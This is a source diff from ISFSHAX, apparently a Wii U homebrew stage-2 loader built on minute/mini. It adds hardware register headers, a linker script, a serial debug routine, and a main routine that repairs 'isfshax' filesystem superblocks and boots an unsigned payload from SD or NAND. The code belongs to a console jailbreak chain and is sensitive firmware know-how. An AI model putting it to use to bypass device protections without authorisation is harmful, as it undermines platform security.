stage2/isfs/volume.h Normal file
View File

@ -0,0 +1,25 @@
#pragma once
#include "isfs/isfs.h"
#define ISFSVOL_SLC 0
#define ISFSVOL_SLCCMPT 1
#define ISFSVOL_FLAG_HMAC 1
#define ISFSVOL_FLAG_ENCRYPTED 2
#define ISFSVOL_FLAG_READBACK 4
#define ISFSVOL_OK 0
#define ISFSVOL_ECC_CORRECTED 0x10
#define ISFSVOL_HMAC_PARTIAL 0x20
#define ISFSVOL_ERROR_WRITE -0x10
#define ISFSVOL_ERROR_READ -0x20
#define ISFSVOL_ERROR_ERASE -0x30
#define ISFSVOL_ERROR_HMAC -0x40
#define ISFSVOL_ERROR_READBACK -0x50
int isfs_num_volumes(void);
isfs_ctx* isfs_get_volume(int volume);
char* isfs_do_volume(const char* path, isfs_ctx** ctx);
int isfs_read_volume(const isfs_ctx* ctx, u32 start_cluster, u32 cluster_count, u32 flags, void *hmac_seed, void *data);
int isfs_write_volume(const isfs_ctx* ctx, u32 start_cluster, u32 cluster_count, u32 flags, void *hmac_seed, void *data);

338
stage2/latte.h Normal file
View File

@ -0,0 +1,338 @@
/*
* minute - a port of the "mini" IOS replacement for the Wii U.
*
* Copyright (C) 2016 SALT
* Copyright (C) 2016 Daz Jones <daz@dazzozo.com>
*
* This code is licensed to you under the terms of the GNU GPL, version 2;
* see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
*/
#ifndef _LATTE_H
#define _LATTE_H
/*
* Latte registers.
* http://wiiubrew.org/wiki/Hardware/Latte_Registers
*/
#define LT_REG_BASE (0x0D800000)
#define LT_IPC_PPCMSG_COMPAT (LT_REG_BASE + 0x000)
#define LT_IPC_PPCCTRL_COMPAT (LT_REG_BASE + 0x004)
#define LT_IPC_ARMMSG_COMPAT (LT_REG_BASE + 0x008)
#define LT_IPC_ARMCTRL_COMPAT (LT_REG_BASE + 0x00C)
#define LT_TIMER (LT_REG_BASE + 0x010)
#define LT_ALARM (LT_REG_BASE + 0x014)
#define LT_INTSR_PPC_COMPAT (LT_REG_BASE + 0x030)
#define LT_INTMR_PPC_COMPAT (LT_REG_BASE + 0x034)
#define LT_INTSR_ARM_COMPAT (LT_REG_BASE + 0x038)
#define LT_INTMR_ARM_COMPAT (LT_REG_BASE + 0x03C)
#define LT_INTMR_ARM2X_COMPAT (LT_REG_BASE + 0x040)
#define LT_UNK044 (LT_REG_BASE + 0x044)
#define LT_AHB_WDG_STATUS (LT_REG_BASE + 0x048)
#define LT_AHB_WDG_CONFIG (LT_REG_BASE + 0x04C)
#define LT_AHB_DMA_STATUS (LT_REG_BASE + 0x050)
#define LT_AHB_CPU_STATUS (LT_REG_BASE + 0x054)
#define LT_ERROR (LT_REG_BASE + 0x058)
#define LT_ERROR_MASK (LT_REG_BASE + 0x05C)
#define LT_MEMIRR (LT_REG_BASE + 0x060)
#define LT_AHBPROT (LT_REG_BASE + 0x064)
#define LT_UNK068 (LT_REG_BASE + 0x068)
#define LT_UNK06C (LT_REG_BASE + 0x06C)
#define LT_EXICTRL (LT_REG_BASE + 0x070)
#define LT_UNK074 (LT_REG_BASE + 0x074)
#define LT_UNK088 (LT_REG_BASE + 0x088)
#define LT_GPIOE_OUT (LT_REG_BASE + 0x0C0)
#define LT_GPIOE_DIR (LT_REG_BASE + 0x0C4)
#define LT_GPIOE_IN (LT_REG_BASE + 0x0C8)
#define LT_GPIOE_INTLVL (LT_REG_BASE + 0x0CC)
#define LT_GPIOE_INTFLAG (LT_REG_BASE + 0x0D0)
#define LT_GPIOE_INTMASK (LT_REG_BASE + 0x0D4)
#define LT_GPIOE_INMIR (LT_REG_BASE + 0x0D8)
#define LT_GPIO_ENABLE (LT_REG_BASE + 0x0DC)
#define LT_GPIO_OUT (LT_REG_BASE + 0x0E0)
#define LT_GPIO_DIR (LT_REG_BASE + 0x0E4)
#define LT_GPIO_IN (LT_REG_BASE + 0x0E8)
#define LT_GPIO_INTLVL (LT_REG_BASE + 0x0EC)
#define LT_GPIO_INTFLAG (LT_REG_BASE + 0x0F0)
#define LT_GPIO_INTMASK (LT_REG_BASE + 0x0F4)
#define LT_GPIO_INMIR (LT_REG_BASE + 0x0F8)
#define LT_GPIO_OWNER (LT_REG_BASE + 0x0FC)
#define LT_AHB_UNK100 (LT_REG_BASE + 0x100)
#define LT_AHB_UNK104 (LT_REG_BASE + 0x104)
#define LT_AHB_UNK108 (LT_REG_BASE + 0x108)
#define LT_AHB_UNK10C (LT_REG_BASE + 0x10C)
#define LT_AHB_UNK110 (LT_REG_BASE + 0x110)
#define LT_AHB_UNK114 (LT_REG_BASE + 0x114)
#define LT_AHB_UNK118 (LT_REG_BASE + 0x118)
#define LT_AHB_UNK11C (LT_REG_BASE + 0x11C)
#define LT_AHB_UNK120 (LT_REG_BASE + 0x120)
#define LT_AHB_UNK124 (LT_REG_BASE + 0x124)
#define LT_AHB_UNK130 (LT_REG_BASE + 0x130)
#define LT_AHB_UNK134 (LT_REG_BASE + 0x134)
#define LT_AHB_UNK138 (LT_REG_BASE + 0x138)
#define LT_ARB_CFG (LT_REG_BASE + 0x140)
#define LT_DIFLAGS (LT_REG_BASE + 0x180)
#define LT_RESETS_AHB (LT_REG_BASE + 0x184)
#define LT_COMPAT_MEMCTRL_WORKAROUND (LT_REG_BASE + 0x188)
#define LT_BOOT0 (LT_REG_BASE + 0x18C)
#define LT_CLOCKINFO (LT_REG_BASE + 0x190)
#define LT_RESETS_COMPAT (LT_REG_BASE + 0x194)
#define LT_CLOCKGATE_COMPAT (LT_REG_BASE + 0x198)
#define LT_SATA_UNK1A8 (LT_REG_BASE + 0x1A8)
#define LT_SATA_UNK1C8 (LT_REG_BASE + 0x1C8)
#define LT_SATA_UNK1CC (LT_REG_BASE + 0x1CC)
#define LT_SATA_UNK1D0 (LT_REG_BASE + 0x1D0)
#define LT_UNK1D8 (LT_REG_BASE + 0x1D8)
#define LT_IOPOWER (LT_REG_BASE + 0x1DC)
#define LT_IOSTRENGTH_CTRL0 (LT_REG_BASE + 0x1E0)
#define LT_IOSTRENGTH_CTRL1 (LT_REG_BASE + 0x1E4)
#define LT_ACRCLK_STRENGTH_CTRL (LT_REG_BASE + 0x1E8)
#define LT_OTPCMD (LT_REG_BASE + 0x1EC)
#define LT_OTPDATA (LT_REG_BASE + 0x1F0)
#define LT_UNK204 (LT_REG_BASE + 0x204)
#define LT_ASICREV_ACR (LT_REG_BASE + 0x214)
#define LT_UNK224 (LT_REG_BASE + 0x224)
#define LT_UNK250 (LT_REG_BASE + 0x250)
#define LT_UNK254 (LT_REG_BASE + 0x254)
#define LT_UNK258 (LT_REG_BASE + 0x258)
#define LT_IPC_PPC0_PPCMSG (LT_REG_BASE + 0x400)
#define LT_IPC_PPC0_PPCCTRL (LT_REG_BASE + 0x404)
#define LT_IPC_PPC0_ARMMSG (LT_REG_BASE + 0x408)
#define LT_IPC_PPC0_ARMCTRL (LT_REG_BASE + 0x40C)
#define LT_IPC_PPC1_PPCMSG (LT_REG_BASE + 0x410)
#define LT_IPC_PPC1_PPCCTRL (LT_REG_BASE + 0x414)
#define LT_IPC_PPC1_ARMMSG (LT_REG_BASE + 0x418)
#define LT_IPC_PPC1_ARMCTRL (LT_REG_BASE + 0x41C)
#define LT_IPC_PPC2_PPCMSG (LT_REG_BASE + 0x420)
#define LT_IPC_PPC2_PPCCTRL (LT_REG_BASE + 0x424)
#define LT_IPC_PPC2_ARMMSG (LT_REG_BASE + 0x428)
#define LT_IPC_PPC2_ARMCTRL (LT_REG_BASE + 0x42C)
#define LT_INTSR_AHBALL_PPC0 (LT_REG_BASE + 0x440)
#define LT_INTSR_AHBLT_PPC0 (LT_REG_BASE + 0x444)
#define LT_INTMR_AHBALL_PPC0 (LT_REG_BASE + 0x448)
#define LT_INTMR_AHBLT_PPC0 (LT_REG_BASE + 0x44C)
#define LT_INTSR_AHBALL_PPC1 (LT_REG_BASE + 0x450)
#define LT_INTSR_AHBLT_PPC1 (LT_REG_BASE + 0x454)
#define LT_INTMR_AHBALL_PPC1 (LT_REG_BASE + 0x458)
#define LT_INTMR_AHBLT_PPC1 (LT_REG_BASE + 0x45C)
#define LT_INTSR_AHBALL_PPC2 (LT_REG_BASE + 0x460)
#define LT_INTSR_AHBLT_PPC2 (LT_REG_BASE + 0x464)
#define LT_INTMR_AHBALL_PPC2 (LT_REG_BASE + 0x468)
#define LT_INTMR_AHBLT_PPC2 (LT_REG_BASE + 0x46C)
#define LT_INTSR_AHBALL_ARM (LT_REG_BASE + 0x470)
#define LT_INTSR_AHBLT_ARM (LT_REG_BASE + 0x474)
#define LT_INTMR_AHBALL_ARM (LT_REG_BASE + 0x478)
#define LT_INTMR_AHBLT_ARM (LT_REG_BASE + 0x47C)
#define LT_INTMR_AHBALL_ARM2X (LT_REG_BASE + 0x480)
#define LT_INTMR_AHBLT_ARM2X (LT_REG_BASE + 0x484)
#define LT_AHB2_WDG_STATUS (LT_REG_BASE + 0x4A0)
#define LT_AHB2_DMA_STATUS (LT_REG_BASE + 0x4A4)
#define LT_AHB2_CPU_STATUS (LT_REG_BASE + 0x4A8)
#define LT_UNK4C8 (LT_REG_BASE + 0x4C8)
#define LT_UNK4CC (LT_REG_BASE + 0x4CC)
#define LT_UNK4D0 (LT_REG_BASE + 0x4D0)
#define LT_UNK4D4 (LT_REG_BASE + 0x4D4)
#define LT_UNK4DC (LT_REG_BASE + 0x4DC)
#define LT_UNK4E0 (LT_REG_BASE + 0x4E0)
#define LT_UNK4E4 (LT_REG_BASE + 0x4E4)
#define LT_UNK500 (LT_REG_BASE + 0x500)
#define LT_UNK504 (LT_REG_BASE + 0x504)
#define LT_OTPPROT (LT_REG_BASE + 0x510)
#define LT_SYSPROT (LT_REG_BASE + 0x514)
#define LT_GPIOE2_OUT (LT_REG_BASE + 0x520)
#define LT_GPIOE2_DIR (LT_REG_BASE + 0x524)
#define LT_GPIOE2_IN (LT_REG_BASE + 0x528)
#define LT_GPIOE2_INTLVL (LT_REG_BASE + 0x52C)
#define LT_GPIOE2_INTFLAG (LT_REG_BASE + 0x530)
#define LT_GPIOE2_INTMASK (LT_REG_BASE + 0x534)
#define LT_GPIOE2_INMIR (LT_REG_BASE + 0x538)
#define LT_GPIO2_ENABLE (LT_REG_BASE + 0x53C)
#define LT_GPIO2_OUT (LT_REG_BASE + 0x540)
#define LT_GPIO2_DIR (LT_REG_BASE + 0x544)
#define LT_GPIO2_IN (LT_REG_BASE + 0x548)
#define LT_GPIO2_INTLVL (LT_REG_BASE + 0x54C)
#define LT_GPIO2_INTFLAG (LT_REG_BASE + 0x550)
#define LT_GPIO2_INTMASK (LT_REG_BASE + 0x554)
#define LT_GPIO2_INMIR (LT_REG_BASE + 0x558)
#define LT_GPIO2_OWNER (LT_REG_BASE + 0x55C)
#define LT_I2C_CLOCK (LT_REG_BASE + 0x570)
#define LT_I2C_INOUT_DATA (LT_REG_BASE + 0x574)
#define LT_I2C_INOUT_CTRL (LT_REG_BASE + 0x578)
#define LT_I2C_INOUT_SIZE (LT_REG_BASE + 0x57C)
#define LT_I2C_INT_MASK (LT_REG_BASE + 0x580)
#define LT_I2C_INT_STATE (LT_REG_BASE + 0x584)
#define LT_ASICREV_CCR (LT_REG_BASE + 0x5A0)
#define LT_DEBUG (LT_REG_BASE + 0x5A4)
#define LT_COMPAT_MEMCTRL_STATE (LT_REG_BASE + 0x5B0)
#define LT_COMPAT_AHB_STATE (LT_REG_BASE + 0x5B4)
#define LT_COMPAT_STEREO_OUT_SELECT (LT_REG_BASE + 0x5B8)
#define LT_IOP2X (LT_REG_BASE + 0x5BC)
#define LT_UNK5C0 (LT_REG_BASE + 0x5C0)
#define LT_IOSTRENGTH_CTRL2 (LT_REG_BASE + 0x5C8)
#define LT_UNK5CC (LT_REG_BASE + 0x5CC)
#define LT_RESETS (LT_REG_BASE + 0x5E0)
#define LT_RESETS_AHMN (LT_REG_BASE + 0x5E4)
#define LT_CLOCKGATE (LT_REG_BASE + 0x5E8)
#define LT_SYSPLL_CFG (LT_REG_BASE + 0x5EC)
#define LT_ABIF_CPLTL_OFFSET (LT_REG_BASE + 0x620)
#define LT_ABIF_CPLTL_DATA (LT_REG_BASE + 0x624)
#define LT_UNK628 (LT_REG_BASE + 0x628)
#define LT_60XE_CFG (LT_REG_BASE + 0x640)
#define LT_UNK660 (LT_REG_BASE + 0x660)
#define LT_UNK640 (LT_REG_BASE + 0x640)
#define LT_DCCMPT (LT_REG_BASE + 0x708)
/*
* NAND registers.
* http://wiiubrew.org/wiki/Hardware/NAND_Interface
*/
#define NAND_REG_BASE (0x0D010000)
#define NAND_CTRL (NAND_REG_BASE + 0x000)
#define NAND_CONF (NAND_REG_BASE + 0x004)
#define NAND_ADDR0 (NAND_REG_BASE + 0x008)
#define NAND_ADDR1 (NAND_REG_BASE + 0x00C)
#define NAND_DATA (NAND_REG_BASE + 0x010)
#define NAND_ECC (NAND_REG_BASE + 0x014)
#define NAND_BANK (NAND_REG_BASE + 0x018)
#define NAND_UNK1 (NAND_REG_BASE + 0x01C)
#define NAND_BANK_CTRL (NAND_REG_BASE + 0x030)
#define NAND_UNK3 (NAND_REG_BASE + 0x040)
/*
* AES registers.
* http://wiiubrew.org/wiki/Hardware/AES_Engine
*/
#define AES_REG_BASE (0x0D020000)
#define AES_CTRL (AES_REG_BASE + 0x000)
#define AES_SRC (AES_REG_BASE + 0x004)
#define AES_DEST (AES_REG_BASE + 0x008)
#define AES_KEY (AES_REG_BASE + 0x00C)
#define AES_IV (AES_REG_BASE + 0x010)
/*
* SHA-1 registers.
* http://wiiubrew.org/wiki/Hardware/SHA-1_Engine
*/
#define SHA_REG_BASE (0x0D030000)
#define SHA_CTRL (SHA_REG_BASE + 0x000)
#define SHA_SRC (SHA_REG_BASE + 0x004)
#define SHA_H0 (SHA_REG_BASE + 0x008)
#define SHA_H1 (SHA_REG_BASE + 0x00C)
#define SHA_H2 (SHA_REG_BASE + 0x010)
#define SHA_H3 (SHA_REG_BASE + 0x014)
#define SHA_H4 (SHA_REG_BASE + 0x018)
/*
* SD Host Controller registers.
* http://wiiubrew.org/wiki/Hardware/SD_Host_Controller
*/
#define SD0_REG_BASE (0x0D070000)
#define SD1_REG_BASE (0x0D080000)
#define SD2_REG_BASE (0x0D100000)
#define SD3_REG_BASE (0x0D110000)
/*
* OHCI registers.
* http://wiiubrew.org/wiki/Hardware/USB_Host_Controller
*/
#define OHCI0_REG_BASE (0x0D050000)
#define OHCI1_REG_BASE (0x0D060000)
#define OHCI10_REG_BASE (0x0D130000)
#define OHCI20_REG_BASE (0x0D150000)
/*
* EHCI registers.
* http://wiiubrew.org/wiki/Hardware/USB_Host_Controller
*/
#define EHCI0_REG_BASE (0x0D040000)
#define EHCI1_REG_BASE (0x0D120000)
#define EHCI2_REG_BASE (0x0D140000)
/*
* EXI registers.
* http://wiiubrew.org/wiki/Hardware/Legacy#External_Interface
*/
#define EXI_REG_BASE (0x0D806800)
#define EXI0_REG_BASE (EXI_REG_BASE + 0x000)
#define EXI1_REG_BASE (EXI_REG_BASE + 0x014)
#define EXI2_REG_BASE (EXI_REG_BASE + 0x028)
#define EXIBOOT_REG_BASE (EXI_REG_BASE + 0x040)
#define EXI0_CSR (EXI0_REG_BASE + 0x000)
#define EXI0_MAR (EXI0_REG_BASE + 0x004)
#define EXI0_LENGTH (EXI0_REG_BASE + 0x008)
#define EXI0_CR (EXI0_REG_BASE + 0x00C)
#define EXI0_DATA (EXI0_REG_BASE + 0x010)
#define EXI1_CSR (EXI1_REG_BASE + 0x000)
#define EXI1_MAR (EXI1_REG_BASE + 0x004)
#define EXI1_LENGTH (EXI1_REG_BASE + 0x008)
#define EXI1_CR (EXI1_REG_BASE + 0x00C)
#define EXI1_DATA (EXI1_REG_BASE + 0x010)
#define EXI2_CSR (EXI2_REG_BASE + 0x000)
#define EXI2_MAR (EXI2_REG_BASE + 0x004)
#define EXI2_LENGTH (EXI2_REG_BASE + 0x008)
#define EXI2_CR (EXI2_REG_BASE + 0x00C)
#define EXI2_DATA (EXI2_REG_BASE + 0x010)
/*
* Memory Controller registers.
* http://wiiubrew.org/wiki/Hardware/Memory_Controller
*/
#define MEM_REG_BASE (0x0D8B4000)
#define MEM_PROT (MEM_REG_BASE + 0x20A)
#define MEM_PROT_START (MEM_REG_BASE + 0x20C)
#define MEM_PROT_END (MEM_REG_BASE + 0x20E)
#define MEM_REFRESH_FLAG (MEM_REG_BASE + 0x226)
#define MEM_FLUSH_MASK (MEM_REG_BASE + 0x228)
#define MEM_FLUSH_ACK (MEM_REG_BASE + 0x22A)
#define MEM_SEQ_REG_VAL (MEM_REG_BASE + 0x2C4)
#define MEM_SEQ_REG_ADDR (MEM_REG_BASE + 0x2C6)
#define MEM_SEQ0_REG_VAL (MEM_REG_BASE + 0x300)
#define MEM_SEQ0_REG_ADDR (MEM_REG_BASE + 0x302)
/*
* AHMN registers.
* http://wiiubrew.org/wiki/Hardware/XN_Controller
*/
#define AHMN_REG_BASE (0x0D8B0800)
#define AHMN_MEM0_CONFIG (AHMN_REG_BASE + 0x000)
#define AHMN_MEM1_CONFIG (AHMN_REG_BASE + 0x004)
#define AHMN_MEM2_CONFIG (AHMN_REG_BASE + 0x008)
#define AHMN_RDBI_MASK (AHMN_REG_BASE + 0x00C)
#define AHMN_ERROR_MASK (AHMN_REG_BASE + 0x020)
#define AHMN_ERROR (AHMN_REG_BASE + 0x024)
#define AHMN_UNK40 (AHMN_REG_BASE + 0x040)
#define AHMN_UNK44 (AHMN_REG_BASE + 0x044)
#define AHMN_TRANSFER_STATE (AHMN_REG_BASE + 0x050)
#define AHMN_WORKAROUND (AHMN_REG_BASE + 0x054)
#define AHMN_MEM0 (AHMN_REG_BASE + 0x100)
#define AHMN_MEM1 (AHMN_REG_BASE + 0x200)
#define AHMN_MEM2 (AHMN_REG_BASE + 0x400)
#endif

106
stage2/link.ld Normal file
View File

@ -0,0 +1,106 @@
/*
mini - a Free Software replacement for the Nintendo/BroadOn IOS.
linker script
Copyright (C) 2008, 2009 Hector Martin "marcan" <marcan@marcansoft.com>
# This code is licensed to you under the terms of the GNU GPL, version 2;
# see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
*/
OUTPUT_FORMAT("elf32-bigarm", "elf32-bigarm", "elf32-bigarm")
OUTPUT_ARCH(arm)
EXTERN(_start)
ENTRY(_start)
__stack_size = 0x80000;
__irqstack_size = 0x40000;
__excstack_size = 0x40000;
MEMORY {
sram0 : ORIGIN = 0xffff0000, LENGTH = 64K
mem2 : ORIGIN = 0x10100000, LENGTH = 60M
}
SECTIONS
{
.init :
{
*(.init)
*(.sram.text)
. = ALIGN(4);
} >sram0
.text :
{
*(.text*)
*(.text.*)
*(.gnu.warning)
*(.gnu.linkonce.t*)
*(.glue_7)
*(.glue_7t)
. = ALIGN(4);
} >mem2
.rodata :
{
*(.rodata)
*all.rodata*(*)
*(.roda)
*(.rodata.*)
*(.gnu.linkonce.r*)
. = ALIGN(4);
} >mem2
.data :
{
*(.data)
*(.data.*)
*(.gnu.linkonce.d*)
. = ALIGN(4);
} >mem2
.bss :
{
__bss_start = . ;
*(.dynbss)
*(.gnu.linkonce.b*)
*(.bss*)
*(COMMON)
. = ALIGN(4);
__bss_end = . ;
} >mem2
.stack :
{
. = ALIGN(16);
__stack_end = .;
. = . +__stack_size;
. = ALIGN(16);
__stack_addr = .;
__irqstack_end = .;
. = . +__irqstack_size;
. = ALIGN(16);
__irqstack_addr = .;
__excstack_end = .;
. = . +__excstack_size;
. = ALIGN(16);
__excstack_addr = .;
. = ALIGN(4);
} >mem2
.heap :
{
__end__ = .;
__heap_start__ = .;
__heap_end__ = (ORIGIN(mem2) + LENGTH(mem2));
. = __heap_end__;
} >mem2
/DISCARD/ :
{
*(.ARM.exidx*)
*(.ARM.extab*)
}
}

4
stage2/link.specs Normal file
View File

@ -0,0 +1,4 @@
%rename link old_link
*link:
%(old_link) -T ../stage2/link.ld%s

98
stage2/lolserial_asm.S Normal file
View File

@ -0,0 +1,98 @@
/*
* minute - a port of the "mini" IOS replacement for the Wii U.
*
* Copyright (C) 2021 Roberto Van Eeden <rwrr0644@gmail.com>
*
* This code is licensed to you under the terms of the GNU GPL, version 2;
* see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
*/
#ifdef LOLSERIAL_DEBUG
#include "latte.h"
.arm
.globl lolserial_print
.globl lolserial_lprint
.section .text
/*
* the number of timer ticks to wait
* each bit; might need manual adjustment
* for particoular serial adapters, usually
* the stable value is in the +5/-5 range
*/
.equ LOLSERIAL_WAIT_TICKS, 200
.equ GP_SENSORBAR, 0x00000100
.equ GP_SENSORBAR_SHIFT, 8
lolserial_print:
mov r1, #-1
lolserial_lprint:
push {r5-r6}
add r1, r1, r0
ldr r6, =0x0D800000
/* clear32(LT_GPIO_OWNER, GP_SENSORBAR) */
ldr r5, [r6, #0x0FC]
bic r5, r5, #GP_SENSORBAR
str r5, [r6, #0x0FC]
/* set32(LT_GPIO_ENABLE, GP_SENSORBAR) */
ldr r5, [r6, #0x0DC]
orr r5, r5, #GP_SENSORBAR
str r5, [r6, #0x0DC]
/* set32(LT_GPIO_DIR, GP_SENSORBAR) */
ldr r5, [r6, #0x0E4]
orr r5, r5, #GP_SENSORBAR
str r5, [r6, #0x0E4]
/* set32(LT_GPIO_OUT, GP_SENSORBAR) */
ldr r5, [r6, #0x0E0]
orr r5, r5, #GP_SENSORBAR
str r5, [r6, #0x0E0]
lolserial_send_string_loop:
cmp r0, r1
ldrneb r5, [r0], #1
cmpne r5, #0
beq lolserial_send_string_end
mov r3, #0x200
orr r3, r3, r5, lsl #1
lolserial_send_char_loop:
and r4, r3, #1
ldr r5, [r6, #0x0E0]
bic r5, r5, #GP_SENSORBAR
orr r5, r5, r4, lsl #GP_SENSORBAR_SHIFT
str r5, [r6, #0x0E0]
ldr r5, [r6, #0x010]
adds r4, r5, #LOLSERIAL_WAIT_TICKS
bcc timer_wait_loop
timer_wait_overflow_loop:
ldr r2, [r6, #0x010]
cmp r2, r5
bhs timer_wait_overflow_loop
timer_wait_loop:
ldr r5, [r6, #0x010]
cmp r5, r4
blo timer_wait_loop
movs r3, r3, lsr #1
bne lolserial_send_char_loop
b lolserial_send_string_loop
lolserial_send_string_end:
pop {r5-r6}
bx lr
#endif /* LOLSERIAL_DEBUG */

129
stage2/main.c Normal file
View File

@ -0,0 +1,129 @@
/*
* ISFSHAX
*
* Copyright (C) 2021 rw-r-r-0644 <rwrr0644@gmail.com>
*
* Based on code from Minute and Mini:
*
* Copyright (C) 2017 Ash Logan <quarktheawesome@gmail.com>
* Copyright (C) 2016 SALT
* Copyright (C) 2016 Daz Jones <daz@dazzozo.com>
*
* Copyright (C) 2008, 2009 Haxx Enterprises <bushing@gmail.com>
* Copyright (C) 2008, 2009 Sven Peter <svenpeter@gmail.com>
* Copyright (C) 2008, 2009 Hector Martin "marcan" <marcan@marcansoft.com>
* Copyright (C) 2009 Andre Heider "dhewg" <dhewg@wiibrew.org>
* Copyright (C) 2009 John Kelley <wiidev@kelley.ca>
*
* This code is licensed to you under the terms of the GNU GPL, version 2;
* see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
*/
#include <stdlib.h>
#include "memory.h"
#include "irq.h"
#include "crypto.h"
#include "smc.h"
#include "latte.h"
#include "utils.h"
#include "isfs/isfshax.h"
#include "sdcard.h"
#include "fatfs/ff.h"
#include "nand.h"
#include "isfs/isfs.h"
#include "ancast.h"
u32 load_payload_sd(void)
{
static FATFS fatfs;
UINT btr, br;
FRESULT res;
FIL file;
u32 vector = 0;
sdcard_init();
res = f_mount(&fatfs, "0:", 1);
if (res)
goto error_mount;
res = f_open(&file, "isfshax.bin", FA_READ);
if (res)
goto error_open;
btr = f_size(&file);
if (!btr)
goto error_read;
res = f_read(&file, (u8*)ANCAST_ADDRESS_IOP, btr, &br);
if (res || (btr != br))
goto error_read;
vector = ancast_iop_load((u8*)ANCAST_ADDRESS_IOP, btr);
error_read:
f_close(&file);
error_open:
f_mount(0, "0:", 0);
error_mount:
sdcard_exit();
return vector;
}
u32 load_payload_nand(void)
{
isfs_file file;
size_t btr, br;
int res;
u32 vector = 0;
res = isfs_init();
if (res)
return vector;
res = isfs_open(&file, "slc:/isfshax.bin");
if (res)
goto error_open;
btr = file.fst->size;
if (!btr)
goto error_read;
res = isfs_read(&file, (u8*)ANCAST_ADDRESS_IOP, btr, &br);
if (res || (btr != br))
goto error_read;
vector = ancast_iop_load((u8*)ANCAST_ADDRESS_IOP, btr);
error_read:
isfs_close(&file);
error_open:
isfs_fini();
return vector;
}
u32 _main(void)
{
u32 vector = 0;
mem_initialize();
irq_initialize();
crypto_read_otp();
nand_initialize();
/* repair isfshax superblocks ecc errors, if present */
isfshax_refresh();
/* attempt to load the payload from SD, then NAND */
vector = load_payload_sd();
if (!vector)
vector = load_payload_nand();
nand_deinitialize();
irq_shutdown();
mem_shutdown();
/* failed to load the payload from SD or NAND -> shutdown */
if (!vector)
smc_shutdown(false);
return vector;
}

400
stage2/memory.c Normal file
View File

@ -0,0 +1,400 @@
/*
* minute - a port of the "mini" IOS replacement for the Wii U.
*
* Copyright (C) 2016 SALT
* Copyright (C) 2016 Daz Jones <daz@dazzozo.com>
*
* Copyright (C) 2008, 2009 Hector Martin "marcan" <marcan@marcansoft.com>
*
* This code is licensed to you under the terms of the GNU GPL, version 2;
* see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
*/
#include "types.h"
#include "memory.h"
#include "utils.h"
#include "latte.h"
#include "irq.h"
#include "debug.h"
#include "malloc.h"
void _dc_inval_entries(void *start, int count);
void _dc_flush_entries(const void *start, int count);
void _dc_flush(void);
void _ic_inval(void);
void _drain_write_buffer(void);
#ifndef LOADER
static u32 *__page_table;
void _dc_inval(void);
void _tlb_inval(void);
#endif
#define LINESIZE 0x20
#define CACHESIZE 0x4000
#define CR_MMU (1 << 0)
#define CR_DCACHE (1 << 2)
#define CR_ICACHE (1 << 12)
// this is ripped from IOS, because no one can figure out just WTF this thing is doing
void _ahb_flush_to(enum rb_client dev) {
u32 mask;
switch(dev) {
case RB_IOD: mask = 0x8000; break;
case RB_IOI: mask = 0x4000; break;
case RB_AIM: mask = 0x0001; break;
case RB_FLA: mask = 0x0002; break;
case RB_AES: mask = 0x0004; break;
case RB_SHA: mask = 0x0008; break;
case RB_EHCI: mask = 0x0010; break;
case RB_OHCI0: mask = 0x0020; break;
case RB_OHCI1: mask = 0x0040; break;
case RB_SD0: mask = 0x0080; break;
case RB_SD1: mask = 0x0100; break;
default:
// ahb_flush_to() does this now
//DEBUG("_ahb_flush_to(%d): Invalid device\n", dev);
return;
}
//NOTE: 0xd8b000x, not 0xd8b400x!
if(read32(0xd8b0008) & mask) {
return;
}
switch(dev) {
case RB_FLA:
case RB_AES:
case RB_SHA:
case RB_EHCI:
case RB_OHCI0:
case RB_OHCI1:
case RB_SD0:
case RB_SD1:
while((read32(LT_BOOT0) & 0xF) == 9)
set32(LT_COMPAT_MEMCTRL_WORKAROUND, 0x10000);
clear32(LT_COMPAT_MEMCTRL_WORKAROUND, 0x10000);
set32(LT_COMPAT_MEMCTRL_WORKAROUND, 0x2000000);
mask32(LT_AHB_UNK124, 0x7C0, 0x280);
set32(LT_AHB_UNK134, 0x400);
while((read32(LT_BOOT0) & 0xF) != 9);
set32(LT_AHB_UNK100, 0x400);
set32(LT_AHB_UNK104, 0x400);
set32(LT_AHB_UNK108, 0x400);
set32(LT_AHB_UNK10C, 0x400);
set32(LT_AHB_UNK110, 0x400);
set32(LT_AHB_UNK114, 0x400);
set32(LT_AHB_UNK118, 0x400);
set32(LT_AHB_UNK11C, 0x400);
set32(LT_AHB_UNK120, 0x400);
clear32(0xd8b0008, mask);
set32(0xd8b0008, mask);
clear32(LT_AHB_UNK134, 0x400);
clear32(LT_AHB_UNK100, 0x400);
clear32(LT_AHB_UNK104, 0x400);
clear32(LT_AHB_UNK108, 0x400);
clear32(LT_AHB_UNK10C, 0x400);
clear32(LT_AHB_UNK110, 0x400);
clear32(LT_AHB_UNK114, 0x400);
clear32(LT_AHB_UNK118, 0x400);
clear32(LT_AHB_UNK11C, 0x400);
clear32(LT_AHB_UNK120, 0x400);
clear32(LT_COMPAT_MEMCTRL_WORKAROUND, 0x2000000);
mask32(LT_AHB_UNK124, 0x7C0, 0xC0);
break;
case RB_IOD:
case RB_IOI:
set32(0xd8b0008, mask);
break;
default:
break;
}
}
// invalidate device and then starlet
void ahb_flush_to(enum rb_client dev)
{
u32 mask;
switch(dev) {
case RB_IOD: mask = 0x8000; break;
case RB_IOI: mask = 0x4000; break;
case RB_AIM: mask = 0x0001; break;
case RB_FLA: mask = 0x0002; break;
case RB_AES: mask = 0x0004; break;
case RB_SHA: mask = 0x0008; break;
case RB_EHCI: mask = 0x0010; break;
case RB_OHCI0: mask = 0x0020; break;
case RB_OHCI1: mask = 0x0040; break;
case RB_SD0: mask = 0x0080; break;
case RB_SD1: mask = 0x0100; break;
case RB_SD2: mask = 0x10000; break;
case RB_SD3: mask = 0x20000; break;
case RB_EHC1: mask = 0x40000; break;
case RB_OHCI10: mask = 0x80000; break;
case RB_EHC2: mask = 0x100000; break;
case RB_OHCI20: mask = 0x200000; break;
case RB_SATA: mask = 0x400000; break;
case RB_AESS: mask = 0x800000; break;
case RB_SHAS: mask = 0x1000000; break;
default:
DEBUG("ahb_flush_to(%d): Invalid device\n", dev);
return;
}
u32 cookie = irq_kill();
write32(AHMN_RDBI_MASK, mask);
_ahb_flush_to(dev);
if(dev != RB_IOD)
_ahb_flush_to(RB_IOD);
irq_restore(cookie);
}
